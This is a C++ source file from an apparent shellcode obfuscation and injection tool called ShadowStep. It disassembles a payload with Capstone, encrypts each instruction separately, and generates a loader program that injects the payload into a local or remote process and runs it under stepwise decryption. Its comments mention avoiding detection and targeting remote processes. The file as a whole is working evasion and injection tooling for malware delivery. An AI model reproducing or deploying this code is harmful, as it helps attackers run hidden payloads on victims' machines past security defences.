#include #include #include #include "../crypt/crypt.h" #include #include #include "../core/core.h" /* If you installed Capstone in a different way use the following guide. Setup instructions for Visual Studio (x64): 1. Add capstone headers: Project > Properties > C/C++ > General > Additional Include Directories Add the path to the include folder (es. C:\libs\capstone\include) 2. Add the library to the linker: Project > Properties > Linker > General > Additional Library Directories Add the path to the folder with the capstone.lib file (es. C:\libs\capstone\msvc or \lib) 3. Specify the linked library: Project > Properties > Linker > Input > Additional Dependencies Add: "capstone.lib" */ /* * Maps a register name (as returned by Capstone) to an internal register index. * * Registers that are not tracked (flags, segments, instruction pointer, * stack/base pointer) return -1. * * Multiple architectural aliases (rax/eax/ax/al/ah) map to the same index. */ int GetRegisterIndex(const char* name) { if (!name) return -1; // exclude flags, segments, and the instruction pointer register if (strncmp(name, "rflags", 6) == 0 || strcmp(name, "eflags") == 0) return -1; if (strstr(name, "ip") != NULL) return -1; if (strcmp(name, "cs") == 0 || strcmp(name, "ds") == 0 || strcmp(name, "es") == 0 || strcmp(name, "fs") == 0 || strcmp(name, "gs") == 0 || strcmp(name, "ss") == 0) return -1; // notice that multiple registers are mapped to the same index number if (strcmp(name, "rax") == 0 || strcmp(name, "eax") == 0 || strcmp(name, "ax") == 0 || strcmp(name, "al") == 0 || strcmp(name, "ah") == 0) return 0; if (strcmp(name, "rbx") == 0 || strcmp(name, "ebx") == 0 || strcmp(name, "bx") == 0 || strcmp(name, "bl") == 0 || strcmp(name, "bh") == 0) return 1; if (strcmp(name, "rcx") == 0 || strcmp(name, "ecx") == 0 || strcmp(name, "cx") == 0 || strcmp(name, "cl") == 0 || strcmp(name, "ch") == 0) return 2; if (strcmp(name, "rdx") == 0 || strcmp(name, "edx") == 0 || strcmp(name, "dx") == 0 || strcmp(name, "dl") == 0 || strcmp(name, "dh") == 0) return 3; if (strcmp(name, "rsi") == 0 || strcmp(name, "esi") == 0 || strcmp(name, "si") == 0 || strcmp(name, "sil") == 0) return 4; if (strcmp(name, "rdi") == 0 || strcmp(name, "edi") == 0 || strcmp(name, "di") == 0 || strcmp(name, "dil") == 0) return 5; if (strcmp(name, "rsp") == 0 || strcmp(name, "esp") == 0 || strcmp(name, "sp") == 0 || strcmp(name, "spl") == 0) return -1; if (strcmp(name, "rbp") == 0 || strcmp(name, "ebp") == 0 || strcmp(name, "bp") == 0 || strcmp(name, "bpl") == 0) return -1; if (strcmp(name, "r8") == 0 || strcmp(name, "r8d") == 0 || strcmp(name, "r8w") == 0 || strcmp(name, "r8b") == 0) return 8; if (strcmp(name, "r9") == 0 || strcmp(name, "r9d") == 0 || strcmp(name, "r9w") == 0 || strcmp(name, "r9b") == 0) return 9; if (strcmp(name, "r10") == 0 || strcmp(name, "r10d") == 0 || strcmp(name, "r10w") == 0 || strcmp(name, "r10b") == 0) return 10; if (strcmp(name, "r11") == 0 || strcmp(name, "r11d") == 0 || strcmp(name, "r11w") == 0 || strcmp(name, "r11b") == 0) return 11; if (strcmp(name, "r12") == 0 || strcmp(name, "r12d") == 0 || strcmp(name, "r12w") == 0 || strcmp(name, "r12b") == 0) return 12; if (strcmp(name, "r13") == 0 || strcmp(name, "r13d") == 0 || strcmp(name, "r13w") == 0 || strcmp(name, "r13b") == 0) return 13; if (strcmp(name, "r14") == 0 || strcmp(name, "r14d") == 0 || strcmp(name, "r14w") == 0 || strcmp(name, "r14b") == 0) return 14; if (strcmp(name, "r15") == 0 || strcmp(name, "r15d") == 0 || strcmp(name, "r15w") == 0 || strcmp(name, "r15b") == 0) return 15; return -1; } /* * This function is used to generate the ShadowStep main source file * programmatically. */ static BOOL WriteToFile(HANDLE hFile, const char* fmt, ...) { char buf[8192]; va_list ap; va_start(ap, fmt); int len = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); if (len < 0) return FALSE; DWORD written = 0; return WriteFile(hFile, buf, (DWORD)len, &written, NULL) && written == (DWORD)len; } /* * main code generator: * * - disassembles the shellcode using Capstone * - computes instruction offsets, sizes, and register access masks * - encrypts each instruction individually * - emits a standalone C++ file containing: * - encrypted shellcode * - decryption keys * - metadata required by ShadowStep * - a runnable main() function */ BOOL GenerateShadowStepMain(LPCWSTR OutputFile, PBYTE shellcode, SIZE_T shellcodeSize, PBYTE keys = NULL, SIZE_T keySize = 0, EncryptionType encryption = ENCRYPTION_XOR) { // arbitrary value: twenty elements per line const int PER_LINE = 20; // algorithm for XOR key generation if (keys == NULL || keySize == 0) { srand((unsigned int)time(NULL)); // random seed generation keySize = (rand() % 9) + 2; // key size in range [2,10], again arbitrary range keys = (PBYTE)malloc(keySize); if (!keys) { printf("[-] Failed to allocate memory for random keys\n"); return FALSE; } for (size_t i = 0; i < keySize; i++) { keys[i] = (BYTE)(rand() % 256); } printf("[+] Generated random key array of size %zu\n", keySize); } csh handle; cs_insn* insn; SIZE_T count; // initialize Capstone for x86_64 if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) { printf("[-] Failed to initialize capstone\n"); return FALSE; } // enable detail mode to access registers cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON); DWORD* OffsetOfInstructions; DWORD* SizeOfInstructions; HANDLE hFile = CreateFileW( OutputFile, GENERIC_WRITE, FILE_SHARE_READ, // not sure if this is actually useful NULL, CREATE_ALWAYS, // always overwrite the original file FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { printf("Errore CreateFileW: %lu\n", GetLastError()); return 1; } WriteToFile(hFile, "\n// ================== SHELLCODE ANALYSIS ======================\n\n"); // disassemble the shellcode and analyze each instruction count = cs_disasm(handle, shellcode, shellcodeSize, 0x0, 0, &insn); if (count > 0) { WriteToFile(hFile, "// [+] found %zu instructions:\n\n", count); OffsetOfInstructions = (DWORD*)malloc(count * sizeof(DWORD)); SizeOfInstructions = (DWORD*)malloc(count * sizeof(DWORD)); uint32_t* RegMasks = (uint32_t*)malloc(count * sizeof(uint32_t)); /* * analyze each instruction: * - track offset and size * - compute a bitmask of registers read * - encrypt instruction bytes */ for (size_t i = 0; i < count; i++) { WriteToFile(hFile, "// 0x%llx:\t%-6s %-20s (size: %2u bytes)\n", (unsigned long long)insn[i].address, insn[i].mnemonic, insn[i].op_str, insn[i].size); OffsetOfInstructions[i] = (DWORD)insn[i].address; SizeOfInstructions[i] = (DWORD)insn[i].size; uint16_t regs_read[12]; uint8_t count_read = 0; uint16_t regs_write[12]; uint8_t count_write = 0; uint32_t mask = 0; RegMasks[i] = 0; if (cs_regs_access(handle, &insn[i], regs_read, &count_read, regs_write, &count_write) == 0) { for (uint8_t j = 0; j < count_read; j++) { const char* regname = cs_reg_name(handle, regs_read[j]); int reg_index = GetRegisterIndex(regname); if (reg_index >= 0 && reg_index < NUM_TRACKED_REGS) { mask |= (1U << reg_index); } } // save the bitmask for the current instruction RegMasks[i] = mask; } // encrypt the instruction bytes ApplyCryptInstruction(&shellcode, insn[i].address, insn[i].size, keys, keySize, encryption); } /* * Emit the generated C++ main file. * This file contains everything needed to run ShadowStep. */ WriteToFile(hFile, "\n// ================== C++ MAIN FUNCTION ======================\n\n"); WriteToFile(hFile, "#include \n"); WriteToFile(hFile, "#include \n"); WriteToFile(hFile, "#include \"../../ShadowStep.Compiler/core/core.h\"\n"); WriteToFile(hFile, "#include \"../../ShadowStep.Compiler/inject/inject.h\"\n"); WriteToFile(hFile, "\n"); WriteToFile(hFile, "int main() {\n"); WriteToFile(hFile, " // change this to target a remote process\n"); WriteToFile(hFile, " HANDLE hProcess = (HANDLE)-1;\n\n"); // print keys[] // TODO: implement keys brute force to avoid clear text storage WriteToFile(hFile, " BYTE keys[] = { "); for (size_t i = 0; i < keySize; i++) { WriteToFile(hFile, "0x%02X", keys[i]); if (i < keySize - 1) WriteToFile(hFile, ", "); } WriteToFile(hFile, " };\n\n"); // print offsetOfInstructions[] WriteToFile(hFile, " DWORD offsetOfInstructions[] = {\n "); for (size_t i = 0; i < count; i++) { WriteToFile(hFile, "0x%02X", OffsetOfInstructions[i]); if (i < count - 1) WriteToFile(hFile, ", "); if ((i + 1) % PER_LINE == 0 && i != count - 1) WriteToFile(hFile, "\n "); } WriteToFile(hFile, "\n };\n\n"); // print sizeOfInstructions[] WriteToFile(hFile, " DWORD sizeOfInstructions[] = {\n "); for (size_t i = 0; i < count; i++) { WriteToFile(hFile, "0x%02X", SizeOfInstructions[i]); if (i < count - 1) WriteToFile(hFile, ", "); if ((i + 1) % PER_LINE == 0 && i != count - 1) WriteToFile(hFile, "\n "); } WriteToFile(hFile, "\n };\n\n"); // print regMasks[] WriteToFile(hFile, " DWORD regMasks[] = {\n "); for (size_t i = 0; i < count; i++) { WriteToFile(hFile, "0x%0X", RegMasks[i]); if (i < count - 1) WriteToFile(hFile, ", "); if ((i + 1) % PER_LINE == 0 && i != count - 1) WriteToFile(hFile, "\n "); } WriteToFile(hFile, "\n };\n\n"); for (size_t i = 0; i < shellcodeSize; i++) { shellcode[i] ^= keys[0]; } // print shellcode[] WriteToFile(hFile, " BYTE shellcode[] = {\n "); for (size_t i = 0; i < shellcodeSize; i++) { WriteToFile(hFile, "0x%02X", shellcode[i]); if (i < shellcodeSize - 1) WriteToFile(hFile, ", "); if ((i + 1) % PER_LINE == 0 && i != shellcodeSize - 1) WriteToFile(hFile, "\n "); } WriteToFile(hFile, "\n };\n\n"); WriteToFile(hFile, " SIZE_T shellcodeSize = sizeof(shellcode);\n\n"); WriteToFile(hFile, " PVOID address = NULL;\n"); WriteToFile(hFile, " // standard injection method: change this to avoid detection\n"); WriteToFile(hFile, " if (!InjectShellcode(hProcess, shellcode, shellcodeSize, &address)) {\n"); WriteToFile(hFile, " printf(\"[-] failed to inject shellcode\\n\");\n"); WriteToFile(hFile, " return -1;\n"); WriteToFile(hFile, " }\n\n"); WriteToFile(hFile, " ShellcodeContext* sc = new ShellcodeContext();\n\n"); WriteToFile(hFile, " if (!Setup(\n"); WriteToFile(hFile, " hProcess,\n"); WriteToFile(hFile, " address,\n"); WriteToFile(hFile, " shellcodeSize,\n"); WriteToFile(hFile, " keys,\n"); WriteToFile(hFile, " sizeof(keys),\n"); WriteToFile(hFile, " offsetOfInstructions,\n"); WriteToFile(hFile, " sizeOfInstructions,\n"); WriteToFile(hFile, " regMasks,\n"); WriteToFile(hFile, " sizeof(offsetOfInstructions) / sizeof(DWORD),\n"); if (encryption == ENCRYPTION_XOR) { WriteToFile(hFile, " ENCRYPTION_XOR,\n"); } else { WriteToFile(hFile, " ENCRYPTION_RC4,\n"); } WriteToFile(hFile, " sc)) {\n"); WriteToFile(hFile, " printf(\"[-] failed to initialize shadow step\\n\");\n"); WriteToFile(hFile, " return -1;\n"); WriteToFile(hFile, " }\n\n"); WriteToFile(hFile, " printf(\"[+] initialized shadow step\\n[+] running obfuscated shellcode\\n\");\n"); WriteToFile(hFile, " HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&ShellcodeRunner, sc, 0, NULL);\n"); WriteToFile(hFile, " WaitForSingleObject(hThread, INFINITE);\n\n"); WriteToFile(hFile, " printf(\"[+] shellcode execution terminated\\n\");\n"); WriteToFile(hFile, " return 0;\n"); WriteToFile(hFile, "}\n"); WriteToFile(hFile, "\n// ================= END OF MAIN FUNCTION ======================\n"); } else { printf("Failed to disassemble\n"); return FALSE; } // close handle to target source file CloseHandle(hFile); cs_close(&handle); free(OffsetOfInstructions); free(SizeOfInstructions); return TRUE; }